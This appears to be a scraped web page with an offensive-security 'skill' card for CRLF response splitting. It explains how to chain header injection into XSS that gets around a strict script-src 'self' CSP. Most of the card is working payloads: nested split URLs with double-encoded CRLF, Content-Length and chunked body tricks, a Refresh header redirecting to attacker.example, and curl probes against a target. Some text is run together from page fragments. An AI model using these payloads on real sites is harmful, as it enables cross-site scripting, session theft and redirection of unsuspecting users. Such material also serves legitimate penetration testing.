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Nested response splitting to bypass strict CSP via CRLF injection. Turns header injection into XSS even when script-src is self only. Use when CRLF injection is confirmed in response headers and CSP blocks inline or external scripts.
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Baseado na classificação ocupacional SOC
| name | crlf-response-splitting |
| description | Nested response splitting to bypass strict CSP via CRLF injection. Turns header injection into XSS even when script-src is self only. Use when CRLF injection is confirmed in response headers and CSP blocks inline or external scripts. |
Content-Type or Location\r\n\r\n and split the response bodyUse one CRLF-injectable endpoint to return HTML and load a second same-origin CRLF-injectable endpoint as JavaScript.
Outer split: <script src="/vuln-endpoint?type=text/javascript%0d%0a%0d%0aalert(origin)//PADDING">
Inner split: response with Content-Type: text/javascript and body alert(origin)
The nested request is same-origin, so script-src 'self' permits execution.
Inject a shorter Content-Length in the nested response:
Content-Length: 13\r\n\r\nalert(origin)
For HTTP/1.1 targets:
Transfer-Encoding: chunked\r\n\r\nd\r\nalert(origin)\r\n0\r\n\r\n
Pad the payload with a JavaScript comment and filler bytes:
alert(origin)//AAAAAAAAAAAA
/endpoint?param=text/html%0d%0a%0d%0a<script+src="/endpoint?param=text/javascript%250d%250a%250d%250aalert(origin)"></script>
Double-encode the nested CRLF bytes so they survive the first parse.
Return JavaScript as text/javascript with a body containing the payload.
If you can inject only one CRLF and not split the body, useful follow-on headers include:
Referrer-Policy: unsafe-urlRefresh: 0;url=https://attacker.example# Test for CRLF injection in headers
curl -sD- "https://target.com/endpoint?param=test%0d%0aX-Injected:true" | rg "X-Injected"
# Compare %0d%0a vs %0a behavior
curl -sD- "https://target.com/endpoint?param=test%0a%0aX-Injected:true" | rg "X-Injected"
Checkpoint: If X-Injected appears in response headers with %0d%0a but not with %0a alone, CRLF injection is confirmed. Check CSP with curl -sD- URL | rg -i "content-security-policy" to determine if nested splitting is needed.
web-cache-deception-pathnextjs-cache-poisoningparser-differential-bypass